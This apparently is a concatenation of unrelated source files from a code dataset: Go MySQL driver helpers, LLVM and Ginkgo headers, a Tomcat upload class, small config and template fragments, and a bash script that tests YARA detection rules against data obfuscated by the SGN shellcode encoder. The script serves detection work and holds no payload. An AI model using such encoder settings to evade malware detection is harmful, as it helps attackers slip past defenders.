avoid an allocation\n// if the DATE or DATETIME has the zero value.\n// It must never be changed.\n// The current behavior depends on database/sql copying the result.\nvar zeroDateTime = []byte(\"0000-00-00 00:00:00.000000\")\n\nconst digits01 = \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\"\nconst digits10 = \"0000000000111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999\"\n\nfunc formatBinaryDateTime(src []byte, length uint8, justTime bool) (driver.Value, error) {\n\t// length expects the deterministic length of the zero value,\n\t// negative time and 100+ hours are automatically added if needed\n\tif len(src) == 0 {\n\t\tif justTime {\n\t\t\treturn zeroDateTime[11 : 11+length], nil\n\t\t}\n\t\treturn zeroDateTime[:length], nil\n\t}\n\tvar dst []byte // return value\n\tvar pt, p1, p2, p3 byte // current digit pair\n\tvar zOffs byte // offset of value in zeroDateTime\n\tif justTime {\n\t\tswitch length {\n\t\tcase\n\t\t\t8, // time (can be up to 10 when negative and 100+ hours)\n\t\t\t10, 11, 12, 13, 14, 15: // time with fractional seconds\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"illegal TIME length %d\", length)\n\t\t}\n\t\tswitch len(src) {\n\t\tcase 8, 12:\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"invalid TIME packet length %d\", len(src))\n\t\t}\n\t\t// +2 to enable negative time and 100+ hours\n\t\tdst = make([]byte, 0, length+2)\n\t\tif src[0] == 1 {\n\t\t\tdst = append(dst, '-')\n\t\t}\n\t\tif src[1] != 0 {\n\t\t\thour := uint16(src[1])*24 + uint16(src[5])\n\t\t\tpt = byte(hour / 100)\n\t\t\tp1 = byte(hour - 100*uint16(pt))\n\t\t\tdst = append(dst, digits01[pt])\n\t\t} else {\n\t\t\tp1 = src[5]\n\t\t}\n\t\tzOffs = 11\n\t\tsrc = src[6:]\n\t} else {\n\t\tswitch length {\n\t\tcase 10, 19, 21, 22, 23, 24, 25, 26:\n\t\tdefault:\n\t\t\tt := \"DATE\"\n\t\t\tif length > 10 {\n\t\t\t\tt += \"TIME\"\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"illegal %s length %d\", t, length)\n\t\t}\n\t\tswitch len(src) {\n\t\tcase 4, 7, 11:\n\t\tdefault:\n\t\t\tt := \"DATE\"\n\t\t\tif length > 10 {\n\t\t\t\tt += \"TIME\"\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"illegal %s packet length %d\", t, len(src))\n\t\t}\n\t\tdst = make([]byte, 0, length)\n\t\t// start with the date\n\t\tyear := binary.LittleEndian.Uint16(src[:2])\n\t\tpt = byte(year / 100)\n\t\tp1 = byte(year - 100*uint16(pt))\n\t\tp2, p3 = src[2], src[3]\n\t\tdst = append(dst,\n\t\t\tdigits10[pt], digits01[pt],\n\t\t\tdigits10[p1], digits01[p1], '-',\n\t\t\tdigits10[p2], digits01[p2], '-',\n\t\t\tdigits10[p3], digits01[p3],\n\t\t)\n\t\tif length == 10 {\n\t\t\treturn dst, nil\n\t\t}\n\t\tif len(src) == 4 {\n\t\t\treturn append(dst, zeroDateTime[10:length]...), nil\n\t\t}\n\t\tdst = append(dst, ' ')\n\t\tp1 = src[4] // hour\n\t\tsrc = src[5:]\n\t}\n\t// p1 is 2-digit hour, src is after hour\n\tp2, p3 = src[0], src[1]\n\tdst = append(dst,\n\t\tdigits10[p1], digits01[p1], ':',\n\t\tdigits10[p2], digits01[p2], ':',\n\t\tdigits10[p3], digits01[p3],\n\t)\n\tif length <= byte(len(dst)) {\n\t\treturn dst, nil\n\t}\n\tsrc = src[2:]\n\tif len(src) == 0 {\n\t\treturn append(dst, zeroDateTime[19:zOffs+length]...), nil\n\t}\n\tmicrosecs := binary.LittleEndian.Uint32(src[:4])\n\tp1 = byte(microsecs / 10000)\n\tmicrosecs -= 10000 * uint32(p1)\n\tp2 = byte(microsecs / 100)\n\tmicrosecs -= 100 * uint32(p2)\n\tp3 = byte(microsecs)\n\tswitch decimals := zOffs + length - 20; decimals {\n\tdefault:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t\tdigits10[p3], digits01[p3],\n\t\t), nil\n\tcase 1:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1],\n\t\t), nil\n\tcase 2:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t), nil\n\tcase 3:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2],\n\t\t), nil\n\tcase 4:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t), nil\n\tcase 5:\n\t\treturn append(dst, '.',\n\t\t\tdigits10[p1], digits01[p1],\n\t\t\tdigits10[p2], digits01[p2],\n\t\t\tdigits10[p3],\n\t\t), nil\n\t}\n}\n\n/******************************************************************************\n* Convert from and to bytes *\n******************************************************************************/\n\nfunc uint64ToBytes(n uint64) []byte {\n\treturn []byte{\n\t\tbyte(n),\n\t\tbyte(n >> 8),\n\t\tbyte(n >> 16),\n\t\tbyte(n >> 24),\n\t\tbyte(n >> 32),\n\t\tbyte(n >> 40),\n\t\tbyte(n >> 48),\n\t\tbyte(n >> 56),\n\t}\n}\n\nfunc uint64ToString(n uint64) []byte {\n\tvar a [20]byte\n\ti := 20\n\n\t// U+0030 = 0\n\t// ...\n\t// U+0039 = 9\n\n\tvar q uint64\n\tfor n >= 10 {\n\t\ti--\n\t\tq = n / 10\n\t\ta[i] = uint8(n-q*10) + 0x30\n\t\tn = q\n\t}\n\n\ti--\n\ta[i] = uint8(n) + 0x30\n\n\treturn a[i:]\n}\n\n// treats string value as unsigned integer representation\nfunc stringToInt(b []byte) int {\n\tval := 0\n\tfor i := range b {\n\t\tval *= 10\n\t\tval += int(b[i] - 0x30)\n\t}\n\treturn val\n}\n\n// returns the string read as a bytes slice, wheter the value is NULL,\n// the number of bytes read and an error, in case the string is longer than\n// the input slice\nfunc readLengthEncodedString(b []byte) ([]byte, bool, int, error) {\n\t// Get length\n\tnum, isNull, n := readLengthEncodedInteger(b)\n\tif num < 1 {\n\t\treturn b[n:n], isNull, n, nil\n\t}\n\n\tn += int(num)\n\n\t// Check data length\n\tif len(b) >= n {\n\t\treturn b[n-int(num) : n : n], false, n, nil\n\t}\n\treturn nil, false, n, io.EOF\n}\n\n// returns the number of bytes skipped and an error, in case the string is\n// longer than the input slice\nfunc skipLengthEncodedString(b []byte) (int, error) {\n\t// Get length\n\tnum, _, n := readLengthEncodedInteger(b)\n\tif num < 1 {\n\t\treturn n, nil\n\t}\n\n\tn += int(num)\n\n\t// Check data length\n\tif len(b) >= n {\n\t\treturn n, nil\n\t}\n\treturn n, io.EOF\n}\n\n// returns the number read, whether the value is NULL and the number of bytes read\nfunc readLengthEncodedInteger(b []byte) (uint64, bool, int) {\n\t// See issue #349\n\tif len(b) == 0 {\n\t\treturn 0, true, 1\n\t}\n\n\tswitch b[0] {\n\t// 251: NULL\n\tcase 0xfb:\n\t\treturn 0, true, 1\n\n\t// 252: value of following 2\n\tcase 0xfc:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8, false, 3\n\n\t// 253: value of following 3\n\tcase 0xfd:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16, false, 4\n\n\t// 254: value of following 8\n\tcase 0xfe:\n\t\treturn uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16 |\n\t\t\t\tuint64(b[4])<<24 | uint64(b[5])<<32 | uint64(b[6])<<40 |\n\t\t\t\tuint64(b[7])<<48 | uint64(b[8])<<56,\n\t\t\tfalse, 9\n\t}\n\n\t// 0-250: value of first byte\n\treturn uint64(b[0]), false, 1\n}\n\n// encodes a uint64 value and appends it to the given bytes slice\nfunc appendLengthEncodedInteger(b []byte, n uint64) []byte {\n\tswitch {\n\tcase n <= 250:\n\t\treturn append(b, byte(n))\n\n\tcase n <= 0xffff:\n\t\treturn append(b, 0xfc, byte(n), byte(n>>8))\n\n\tcase n <= 0xffffff:\n\t\treturn append(b, 0xfd, byte(n), byte(n>>8), byte(n>>16))\n\t}\n\treturn append(b, 0xfe, byte(n), byte(n>>8), byte(n>>16), byte(n>>24),\n\t\tbyte(n>>32), byte(n>>40), byte(n>>48), byte(n>>56))\n}\n\n// reserveBuffer checks cap(buf) and expand buffer to len(buf) + appendSize.\n// If cap(buf) is not enough, reallocate new buffer.\nfunc reserveBuffer(buf []byte, appendSize int) []byte {\n\tnewSize := len(buf) + appendSize\n\tif cap(buf) < newSize {\n\t\t// Grow buffer exponentially\n\t\tnewBuf := make([]byte, len(buf)*2+appendSize)\n\t\tcopy(newBuf, buf)\n\t\tbuf = newBuf\n\t}\n\treturn buf[:newSize]\n}\n\n// escapeBytesBackslash escapes []byte with backslashes (\\)\n// This escapes the contents of a string (provided as []byte) by adding backslashes before special\n// characters, and turning others into specific escape sequences, such as\n// turning newlines into \\n and null bytes into \\0.\n// https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L823-L932\nfunc escapeBytesBackslash(buf, v []byte) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor _, c := range v {\n\t\tswitch c {\n\t\tcase '\\x00':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '0'\n\t\t\tpos += 2\n\t\tcase '\\n':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'n'\n\t\t\tpos += 2\n\t\tcase '\\r':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'r'\n\t\t\tpos += 2\n\t\tcase '\\x1a':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'Z'\n\t\t\tpos += 2\n\t\tcase '\\'':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\tcase '\"':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\"'\n\t\t\tpos += 2\n\t\tcase '\\\\':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\\\'\n\t\t\tpos += 2\n\t\tdefault:\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeStringBackslash is similar to escapeBytesBackslash but for string.\nfunc escapeStringBackslash(buf []byte, v string) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor i := 0; i < len(v); i++ {\n\t\tc := v[i]\n\t\tswitch c {\n\t\tcase '\\x00':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '0'\n\t\t\tpos += 2\n\t\tcase '\\n':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'n'\n\t\t\tpos += 2\n\t\tcase '\\r':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'r'\n\t\t\tpos += 2\n\t\tcase '\\x1a':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = 'Z'\n\t\t\tpos += 2\n\t\tcase '\\'':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\tcase '\"':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\"'\n\t\t\tpos += 2\n\t\tcase '\\\\':\n\t\t\tbuf[pos] = '\\\\'\n\t\t\tbuf[pos+1] = '\\\\'\n\t\t\tpos += 2\n\t\tdefault:\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeBytesQuotes escapes apostrophes in []byte by doubling them up.\n// This escapes the contents of a string by doubling up any apostrophes that\n// it contains. This is used when the NO_BACKSLASH_ESCAPES SQL_MODE is in\n// effect on the server.\n// https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L963-L1038\nfunc escapeBytesQuotes(buf, v []byte) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor _, c := range v {\n\t\tif c == '\\'' {\n\t\t\tbuf[pos] = '\\''\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\t} else {\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n// escapeStringQuotes is similar to escapeBytesQuotes but for string.\nfunc escapeStringQuotes(buf []byte, v string) []byte {\n\tpos := len(buf)\n\tbuf = reserveBuffer(buf, len(v)*2)\n\n\tfor i := 0; i < len(v); i++ {\n\t\tc := v[i]\n\t\tif c == '\\'' {\n\t\t\tbuf[pos] = '\\''\n\t\t\tbuf[pos+1] = '\\''\n\t\t\tpos += 2\n\t\t} else {\n\t\t\tbuf[pos] = c\n\t\t\tpos++\n\t\t}\n\t}\n\n\treturn buf[:pos]\n}\n\n/******************************************************************************\n* Sync utils *\n******************************************************************************/\n\n// noCopy may be embedded into structs which must not be copied\n// after the first use.\n//\n// See https://github.com/golang/go/issues/8005#issuecomment-190753527\n// for details.\ntype noCopy struct{}\n\n// Lock is a no-op used by -copylocks checker from `go vet`.\nfunc (*noCopy) Lock() {}\n\n// atomicBool is a wrapper around uint32 for usage as a boolean value with\n// atomic access.\ntype atomicBool struct {\n\t_noCopy noCopy\n\tvalue uint32\n}\n\n// IsSet returns wether the current boolean value is true\nfunc (ab *atomicBool) IsSet() bool {\n\treturn atomic.LoadUint32(&ab.value) > 0\n}\n\n// Set sets the value of the bool regardless of the previous value\nfunc (ab *atomicBool) Set(value bool) {\n\tif value {\n\t\tatomic.StoreUint32(&ab.value, 1)\n\t} else {\n\t\tatomic.StoreUint32(&ab.value, 0)\n\t}\n}\n\n// TrySet sets the value of the bool and returns wether the value changed\nfunc (ab *atomicBool) TrySet(value bool) bool {\n\tif value {\n\t\treturn atomic.SwapUint32(&ab.value, 1) == 0\n\t}\n\treturn atomic.SwapUint32(&ab.value, 0) > 0\n}\n\n// atomicError is a wrapper for atomically accessed error values\ntype atomicError struct {\n\t_noCopy noCopy\n\tvalue atomic.Value\n}\n\n// Set sets the error value regardless of the previous value.\n// The value must not be nil\nfunc (ae *atomicError) Set(value error) {\n\tae.value.Store(value)\n}\n\n// Value returns the current error value\nfunc (ae *atomicError) Value() error {\n\tif v := ae.value.Load(); v != nil {\n\t\t// this will panic if the value doesn't implement the error interface\n\t\treturn v.(error)\n\t}\n\treturn nil\n}\n"} {"text": "package core\n\n// (C) Copyright IBM Corp. 2019.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Version of the SDK\nconst __VERSION__ = \"3.3.1\"\n"} {"text": "#!/bin/bash\n\nif [ $# -eq 0 ]\n then\n echo \"[*] Usage: $0 <myrule.yara>\"\n\texit\nfi\n\nif [[ ! -f $(which yara) ]]; then\n\techo \"[-] Could not locate yara on the system !\"\n\techo \"[-] Reinstall yara globally and try\"\n\texit\nfi\n\nif [[ ! -f $(which sgn) ]]; then\n\techo \"[-] Could not locate sgn on the system !\"\n\techo \"[-] Rebuild SGN or set the correct GOPATH for global access\"\n\texit\nfi\n\n\nif [[ ! -f $1 ]]; then\n\techo \"[-] Could not open YARA rule file: $1\"\n\texit\nfi\n\n\nRULE_FILE=$1\n\ntest_rule() {\n\tfor i in {1..100}\n\tdo\n\t\tgenerate_random\n\t\tsgn $PLAIN_DECODER -a $ARCHITECTURE -c $ENCODING_COUNT -max $OBFUSCATION_LEVEL data &> /dev/null\n\t\tif [[ `yara -c $RULE_FILE data.sgn` == 0 ]]; then\n\t\t\tprint_fail\n\t\tfi\n\t\trm data data.sgn &> /dev/null\n\tdone\n}\n\n\nprint_fail() {\n\techo -e \"\\n[!] Found one sample that does not match !\"\n\techo \"[*] Used parameters : sgn $PLAIN_DECODER -a $ARCHITECTURE -c $ENCODING_COUNT -max $OBFUSCATION_LEVEL data\"\n\techo -e \"[*] Used test data: \\n`xxd data`\"\n\techo -e \"\\n[!] RULE FAILED :(\"\n\texit\n}\n\nprint_stage() {\n\techo \"[STAGE $STAGE]> $INTERVAL_MIN-$INTERVAL_MAX byte | Architecture: $ARCHITECTURE | Encode Count: $ENCODING_COUNT | Obfuscation Level: $OBFUSCATION_LEVEL bytes | Plain Stub: $PLAIN_DECODER\"\t\n}\n\ngenerate_random() {\n\thead -c $(($INTERVAL_MIN + RANDOM % $INTERVAL_MAX)) /dev/urandom > data\n}\n\n\nreset_stage(){\n\tINTERVAL_MIN=100\n\tINTERVAL_MAX=500\n\tENCODING_COUNT=1\n\tOBFUSCATION_LEVEL=50\t\n\tARCHITECTURE=32\n}\n\nnext_stage() {\n\tSTAGE=$((STAGE+1))\n\tITERATION=1O0\n\tINTERVAL_MIN=$((INTERVAL_MIN*2))\n\tINTERVAL_MAX=$((INTERVAL_MAX*2))\n\tif [[ $((STAGE%6)) > 4 ]]; then\n\t\tENCODING_COUNT=$((ENCODING_COUNT+1))\t\n\tfi\n\tOBFUSCATION_LEVEL=$((OBFUSCATION_LEVEL+10))\n}\n\n# Set the first stage test parameters\nSTAGE=1\nPLAIN_DECODER=\"-plain-decoder\"\nINTERVAL_MIN=100\nINTERVAL_MAX=500\nARCHITECTURE=32\nENCODING_COUNT=1\nOBFUSCATION_LEVEL=50\n\n\n\n## Start testing...\necho -e \"\\n[### STARTING PLAIN DECODER TESTS ###]\"\necho -e \"[!] Each stage could take 10-20 seconds.\\n\"\n\n\nfor j in {1..2}\ndo\n\t# x86 tests...\n\tfor i in {1..6}\n\tdo\n\t\tprint_stage\n\t\ttest_rule\n\t\tnext_stage\n\tdone\n\n\treset_stage\n\n\t# x64 tests...\n\tARCHITECTURE=64\n\tfor i in {1..6}\n\tdo\n\t\tprint_stage\n\t\ttest_rule\n\t\tnext_stage\n\tdone\n\n\treset_stage\n\n\tif [[ $j == 1 ]]; then\n\t\t# Turn off plain decoder\n\t\techo -e \"\\n[### STARTING OBFUSCATED DECODER TESTS ###]\\n\"\n\t\tPLAIN_DECODER=\"\"\t\n\tfi\n\ndone\n\necho -e \"\\n[### !! TESTING FOR FINAL BOSS !!]\"\necho \"[!] This may take more time to bruteforce (things will get hot)\"\nreset_stage\nOBFUSCATION_LEVEL=0\ngenerate_random\nsgn -a 32 -c $ENCODING_COUNT -max 0 data &> /dev/null\nif [[ `yara -c $RULE_FILE data.sgn` == 0 ]]; then\n print_fail\nfi\nrm data data.sgn &> /dev/null\ngenerate_random\nsgn -a 64 -c $ENCODING_COUNT -max 0 data &> /dev/null\nif [[ `yara -c $RULE_FILE data.sgn` == 0 ]]; then\n print_fail\nfi\n\necho -e \"\\n[+] $1 SUCCESS !!\"\necho \"[+] It seems that your rule passed all required tests. Now you should check out the false positive ratio of your rule.\"\necho \"[+] If you think it is acceptable open a issue with your yara rule on the repo https://github.com/EgeBalci/sgn/issues/new\"\n\n# EICAR\n"} {"text": "# Copyright (c) Microsoft Corporation. \n# Licensed under the MIT License.\n\n# return objects representing the tags we need to base the debian image on Docker\n\n# The versions of debian we care about\n$shortTags = @('stretch-slim')\n\n$parent = Join-Path -Path $PSScriptRoot -ChildPath '..'\n$repoRoot = Join-Path -path (Join-Path -Path $parent -ChildPath '..') -ChildPath '..'\n$modulePath = Join-Path -Path $repoRoot -ChildPath 'tools\\getDockerTags'\nImport-Module $modulePath\n\nGet-DockerTags -ShortTags $shortTags -Image \"debian\" -FullTagFilter 'stretch-\\d{8}[\\.\\d{1}]?-slim' -AlternativeShortTag '9' -SkipShortTagFilter\n"} {"text": "/*******************************<GINKGO LICENSE>******************************\nCopyright (c) 2017-2020, the Ginkgo authors\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n1. Redistributions of source code must retain the above copyright\nnotice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\ncontributors may be used to endorse or promote products derived from\nthis software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\nIS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\nTO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nHOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n******************************<GINKGO LICENSE>*******************************/\n\n// We need this struct, because otherwise we would call a __host__ function in a\n// __device__ function (even though it is constexpr)\ntemplate <typename T>\nstruct device_numeric_limits {\n static constexpr auto inf = std::numeric_limits<T>::infinity();\n static constexpr auto max = std::numeric_limits<T>::max();\n static constexpr auto min = std::numeric_limits<T>::min();\n};\n\n\nnamespace detail {\n\n\ntemplate <typename T>\nstruct remove_complex_impl<thrust::complex<T>> {\n using type = T;\n};\n\n\ntemplate <typename T>\nstruct is_complex_impl<thrust::complex<T>>\n : public std::integral_constant<bool, true> {};\n\n\ntemplate <typename T>\nstruct truncate_type_impl<thrust::complex<T>> {\n using type = thrust::complex<typename truncate_type_impl<T>::type>;\n};\n\n\n} // namespace detail"} {"text": "//===- AMDGPUAliasAnalysis --------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This is the AMGPU address space based alias analysis pass.\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_AMDGPU_AMDGPUALIASANALYSIS_H\n#define LLVM_LIB_TARGET_AMDGPU_AMDGPUALIASANALYSIS_H\n\n#include \"AMDGPU.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/Pass.h\"\n#include <algorithm>\n#include <memory>\n\nnamespace llvm {\n\nclass DataLayout;\nclass MDNode;\nclass MemoryLocation;\n\n/// A simple AA result that uses TBAA metadata to answer queries.\nclass AMDGPUAAResult : public AAResultBase<AMDGPUAAResult> {\n friend AAResultBase<AMDGPUAAResult>;\n\n const DataLayout &DL;\n\npublic:\n explicit AMDGPUAAResult(const DataLayout &DL, Triple T) : AAResultBase(),\n DL(DL) {}\n AMDGPUAAResult(AMDGPUAAResult &&Arg)\n : AAResultBase(std::move(Arg)), DL(Arg.DL) {}\n\n /// Handle invalidation events from the new pass manager.\n ///\n /// By definition, this result is stateless and so remains valid.\n bool invalidate(Function &, const PreservedAnalyses &) { return false; }\n\n AliasResult alias(const MemoryLocation &LocA, const MemoryLocation &LocB,\n AAQueryInfo &AAQI);\n bool pointsToConstantMemory(const MemoryLocation &Loc, AAQueryInfo &AAQI,\n bool OrLocal);\n\nprivate:\n bool Aliases(const MDNode *A, const MDNode *B) const;\n bool PathAliases(const MDNode *A, const MDNode *B) const;\n};\n\n/// Analysis pass providing a never-invalidated alias analysis result.\nclass AMDGPUAA : public AnalysisInfoMixin<AMDGPUAA> {\n friend AnalysisInfoMixin<AMDGPUAA>;\n\n static char PassID;\n\npublic:\n using Result = AMDGPUAAResult;\n\n AMDGPUAAResult run(Function &F, AnalysisManager<Function> &AM) {\n return AMDGPUAAResult(F.getParent()->getDataLayout(),\n Triple(F.getParent()->getTargetTriple()));\n }\n};\n\n/// Legacy wrapper pass to provide the AMDGPUAAResult object.\nclass AMDGPUAAWrapperPass : public ImmutablePass {\n std::unique_ptr<AMDGPUAAResult> Result;\n\npublic:\n static char ID;\n\n AMDGPUAAWrapperPass() : ImmutablePass(ID) {\n initializeAMDGPUAAWrapperPassPass(*PassRegistry::getPassRegistry());\n }\n\n AMDGPUAAResult &getResult() { return *Result; }\n const AMDGPUAAResult &getResult() const { return *Result; }\n\n bool doInitialization(Module &M) override {\n Result.reset(new AMDGPUAAResult(M.getDataLayout(),\n Triple(M.getTargetTriple())));\n return false;\n }\n\n bool doFinalization(Module &M) override {\n Result.reset();\n return false;\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override;\n};\n\n// Wrapper around ExternalAAWrapperPass so that the default constructor gets the\n// callback.\nclass AMDGPUExternalAAWrapper : public ExternalAAWrapperPass {\npublic:\n static char ID;\n\n AMDGPUExternalAAWrapper() : ExternalAAWrapperPass(\n [](Pass &P, Function &, AAResults &AAR) {\n if (auto *WrapperPass = P.getAnalysisIfAvailable<AMDGPUAAWrapperPass>())\n AAR.addAAResult(WrapperPass->getResult());\n }) {}\n};\n\n} // end namespace llvm\n\n#endif // LLVM_LIB_TARGET_AMDGPU_AMDGPUALIASANALYSIS_H\n"} {"text": "{\n \"created_at\": \"2015-02-27T22:27:28.042724\", \n \"description\": \"HTML Abstraction Markup Language - A Markup Haiku\", \n \"fork\": false, \n \"full_name\": \"haml/haml\", \n \"language\": \"Ruby\", \n \"updated_at\": \"2015-02-27T23:41:19.965957\"\n}"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.apache.tomcat.util.http.fileupload.servlet;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.apache.tomcat.util.http.fileupload.FileUploadBase;\nimport org.apache.tomcat.util.http.fileupload.UploadContext;\n\n\n/**\n * <p>Provides access to the request information needed for a request made to\n * an HTTP servlet.</p>\n *\n * @since FileUpload 1.1\n */\npublic class ServletRequestContext implements UploadContext {\n\n // ----------------------------------------------------- Instance Variables\n\n /**\n * The request for which the context is being provided.\n */\n private final HttpServletRequest request;\n\n // ----------------------------------------------------------- Constructors\n\n /**\n * Construct a context for this request.\n *\n * @param request The request to which this context applies.\n */\n public ServletRequestContext(HttpServletRequest request) {\n this.request = request;\n }\n\n // --------------------------------------------------------- Public Methods\n\n /**\n * Retrieve the character encoding for the request.\n *\n * @return The character encoding for the request.\n */\n @Override\n public String getCharacterEncoding() {\n return request.getCharacterEncoding();\n }\n\n /**\n * Retrieve the content type of the request.\n *\n * @return The content type of the request.\n */\n @Override\n public String getContentType() {\n return request.getContentType();\n }\n\n /**\n * Retrieve the content length of the request.\n *\n * @return The content length of the request.\n * @since 1.3\n */\n @Override\n public long contentLength() {\n long size;\n try {\n size = Long.parseLong(request.getHeader(FileUploadBase.CONTENT_LENGTH));\n } catch (NumberFormatException e) {\n size = request.getContentLength();\n }\n return size;\n }\n\n /**\n * Retrieve the input stream for the request.\n *\n * @return The input stream for the request.\n *\n * @throws IOException if a problem occurs.\n */\n @Override\n public InputStream getInputStream() throws IOException {\n return request.getInputStream();\n }\n\n /**\n * Returns a string representation of this object.\n *\n * @return a string representation of this object.\n */\n @Override\n public String toString() {\n return String.format(\"ContentLength=%s, ContentType=%s\",\n Long.valueOf(this.contentLength()),\n this.getContentType());\n }\n\n}\n"} {"text": "@extends('la.layouts.app')\n\n@section('htmlheader_title')\n\tOrganization View\n@endsection\n\n\n@section('main-content')\n<div id=\"page-content\" class=\"profile2\">\n\t<div class=\"bg-primary clearfix\">\n\t\t<div class=\"col-md-4\">\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-md-3\">\n\t\t\t\t\t<!--<img class=\"profile-image\" src=\"{{ asset('la-assets/img/avatar5.png') }}\" alt=\"\">-->\n\t\t\t\t\t<div class=\"profile-icon text-primary\"><i class=\"fa {{ $module->fa_icon }}\"></i></div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-9\">\n\t\t\t\t\t<h4 class=\"name\">{{ $organization->$view_col }}</h4>\n\t\t\t\t\t<div class=\"row stats\">\n\t\t\t\t\t\t<div class=\"col-md-4\"><i class=\"fa fa-facebook\"></i> 234</div>\n\t\t\t\t\t\t<div class=\"col-md-4\"><i class=\"fa fa-twitter\"></i> 